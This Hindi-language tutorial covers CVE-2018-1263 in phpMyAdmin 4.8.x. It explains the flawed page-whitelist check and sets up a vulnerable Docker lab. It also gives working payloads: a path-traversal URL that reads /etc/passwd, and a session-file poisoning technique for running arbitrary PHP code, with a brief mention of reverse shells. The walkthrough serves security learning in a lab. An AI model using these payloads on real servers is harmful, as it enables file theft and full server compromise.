
शैक्षिक शोषण प्रदर्शन CVE-2018-1263 (phpMyAdmin RCE/LFI) के लिए। इसमें Docker के माध्यम से कमजोर वातावरण सेटअप और वेब एप्लिकेशन शोषण सीखने के लिए चरण-दर-चरण आक्रमण वॉकथ्रू शामिल है।
यह मार्गदर्शिका आपको phpMyAdmin बग से संबंधित कमजोर घटक स्थापित करने और हमला करने में मदद करेगी, जिसका उल्लेख CVE-2018-1263 में किया गया है।
यह एक्सप्लॉइट एक समस्या से संबंधित है जो phpMyAdmin संस्करण 4.8.x (4.8.2 से पहले) में खोजी गई थी। इस समस्या का शोषण करके, एक हमलावर सर्वर पर रिमोट कोड निष्पादन और स्थानीय फ़ाइल शामिलीकरण कर सकता है। यह कमजोरी कोड के उस भाग के कारण है जो phpMyAdmin के भीतर पृष्ठों को रीडायरेक्ट करने और लोड करने के लिए जिम्मेदार है। कोड में श्वेतसूचीबद्ध पृष्ठों के लिए एक दोषपूर्ण परीक्षण है जो हमले को संभव बनाता है। हमलावर को प्रमाणित होना चाहिए, सिवाय "$cfg['AllowArbitraryServer'] = true" मामले के (जहां हमलावर कोई भी होस्ट निर्दिष्ट कर सकता है जिसे वह पहले से नियंत्रित करता है, और phpMyAdmin पर मनमाना कोड निष्पादित कर सकता है) और "$cfg['ServerDefault'] = 0" मामले के (जो लॉगिन आवश्यकता को बायपास करता है और बिना किसी प्रमाणीकरण के कमजोर कोड चलाता है)।
यह कमजोरी कमजोर पथ जाँच फ़ंक्शन में एक मान्यता बायपास के कारण होती है। यह कमजोरी एक प्रमाणित रिमोट हमलावर को सर्वर पर मनमाना PHP कोड निष्पादित करने में सक्षम बनाती है।
phpMyAdmin के index.php में एक फ़ाइल शामिलीकरण है जिसे URL में target नामक पैरामीटर प्रदान करके ट्रिगर किया जा सकता है और पैरामीटर को मान्य करने वाले कोड का भाग इस प्रकार दिखता है
target$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
// ...
इस कोड में एक बार if शर्त संतुष्ट हो जाने पर यह include $_REQUEST['target']; निष्पादित करता है। इसलिए, हमें बस if शर्त को बायपास करने की आवश्यकता है ताकि हम जो चाहें निष्पादित कर सकें।
आइए if शर्त को देखें
$target_blacklist में नहीं होना चाहिए।
$target_blacklist if शर्त से ठीक पहले परिभाषित किया गया है और इसमें import.php और export.php शामिल हैं, जिसका अर्थ है कि इन दो पृष्ठों को छोड़कर कुछ भी अनुमति है।Core::checkPageValidity($_REQUEST['target']) का उपयोग करके पृष्ठ वैधता के लिए एक श्वेतसूची जांच है।
checkPageValidity $page से ? के पीछे की सभी चीज़ों को हटा देता है और जाँचता है कि क्या यह श्वेतसूची में है। ? के बाद की स्ट्रिंग URL पथ का हिस्सा नहीं है। एक नमूना श्वेतसूची भी कोड स्निपेट में दिखाई गई है।public static function checkPageValidity(&$page, array $whitelist = [])
{
// ...
$_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
// example $whitelist == array('db_sql.php', 'sql.php', ...)
if (in_array($_page, $whitelist)) {
return true;
}
// ...
return false;
}
$page पर पूर्ण नियंत्रण है, क्योंकि यह सीधे $_REQUEST['target'] से आता है।जैसा कि पहले उल्लेख किया गया है, हमलावर का URL में $_REQUEST['target'] पैरामीटर के माध्यम से checkPageValidity फ़ंक्शन में $page पर पूर्ण नियंत्रण है। मान लीजिए कि हमलावर $_REQUEST['target'] पैरामीटर का उपयोग करके $page को कुछ इस प्रकार भेजता है
$page = 'db_sql.php?/../../../../../../../../etc/passwd'
checkPageValidity फ़ंक्शन फिर निम्नलिखित कार्य करता है
? पर विभाजित करता है और पहले भाग को $page को सौंपता है। तो इस उदाहरण मामले में $page = db_sql.php का मान है।$_page, यानी db_sql.php, श्वेतसूची में है या नहीं? चूँकि यह श्वेतसूची में है, फ़ंक्शन True लौटाता है और index.php पर वापस जाता है।चूँकि index.php में if शर्त अब True है, यह निम्नलिखित पंक्ति को निष्पादित करता है जैसा कि ऊपर index.php कोड स्निपेट में दिखाया गया है
include $_REQUEST['target'];
आगे क्या होता है
$_REQUEST['target'] के गैर-विभाजित मान को शामिल करता है, जिसका अर्थ है कि निम्नलिखित क्रियान्वित होता है
GET /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
db_sql.php मौजूद है या नहीं, /../../../../../../../../etc/passwd निष्पादित हो जाता है और /etc/passwd फ़ाइल की सामग्री हमलावर को वापस प्रतिक्रिया में भेज दी जाती है।अब हम इसका उपयोग स्थानीय फ़ाइल शामिलीकरण या रिवर्स शेल प्राप्त करने के लिए रिमोट कोड निष्पादन भी कर सकते हैं। जब भी हम phpMyAdmin में कोई क्वेरी निष्पादित करते हैं, यह एक सत्र फ़ाइल बनाता है और क्वेरी सामग्री के साथ /tmp निर्देशिका में संग्रहीत करता है। सत्र फ़ाइल का नाम sess_< SESSION ID > होता है। सत्र आईडी ब्राउज़र के inspect विकल्प का उपयोग करके कुकी में आसानी से पाई जा सकती है।
इसलिए यदि हम phpMyAdmin में निम्नलिखित क्वेरी निष्पादित करते हैं
SELECT '<?php phpinfo();exit;?>'
यह सत्र फ़ाइल में संग्रहीत किया जाएगा। मान लीजिए phpMyAdmin के लिए हमारी सत्र आईडी e15cffd3ab25a631136611fba9ca2042 है
फिर यदि हम ब्राउज़र में निम्नलिखित पता ट्रिगर करते हैं
http://your-ip:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_e15cffd3ab25a631136611fba9ca2042
फिर phpMyAdmin सत्र पृष्ठ को लोड करने का प्रयास करेगा और चूँकि पृष्ठ में क्वेरी के माध्यम से प्रदान किया गया php कोड है, php कोड निष्पादित हो जाएगा और इस विशेष उदाहरण में हम ब्राउज़र द्वारा लोड किए गए पृष्ठ में phpinfo देखेंगे। इस तकनीक का उपयोग करके हम रिमोट सर्वर पर कोई भी मनमाना कोड निष्पादित कर सकते हैं।
एक्सप्लॉइट बुनियादी ढाँचे के लिए phpMyAdmin और mysql के कमजोर संस्करण की आवश्यकता होती है। हम आवश्यक घटकों को स्थापित करने के लिए docker कंटेनर का उपयोग करेंगे। phpMyAdmin के कमजोर संस्करण के लिए हम Vulhub से पूर्वनिर्मित docker वातावरण का उपयोग करेंगे और mysql के लिए हम dockerhub से नवीनतम आधिकारिक संस्करण का उपयोग करेंगे। इंस्टॉलेशन स्क्रिप्ट एक docker compose yml स्क्रिप्ट के रूप में प्रदान की गई है जो रिपॉजिटरी में पाई जा सकती है।
हम मानते हैं कि इच्छित मशीन पर docker और docker-compose स्थापित हैं। यदि नहीं, तो कृपया उन्हें स्थापित करने के लिए docker दस्तावेज़ीकरण देखें। एक बार docker स्थापित हो जाने पर, कमजोर घटक सेट करने के लिए निम्नलिखित चरणों का पालन करें:
पहले अपनी इच्छित मशीन पर रिपॉजिटरी को क्लोन करें और क्लोन की गई निर्देशिका पर जाएँ
git clone [email protected]:msnkhan/exploit-demo.git
cd exploit-demo
फिर निम्नलिखित कमांड का उपयोग करके docker compose स्क्रिप्ट चलाएँ
sudo docker-compose up -d
एक बार इंस्टॉलेशन प्रक्रिया समाप्त हो जाने पर docker आपकी मशीन के पोर्ट 8080 पर phpMyAdmin पृष्ठ को उजागर करेगा। आप निम्नलिखित पता प्रारूप का उपयोग करके अपने ब्राउज़र में पृष्ठ खोलकर जाँच सकते हैं
http://your-machine-ip:8080
यदि इंस्टॉलेशन प्रक्रिया सफल होती है तो आपको निम्नलिखित जैसा एक पृष्ठ देखना चाहिए

निम्नलिखित वीडियो हमला करने के तरीके पर एक ट्यूटोरियल है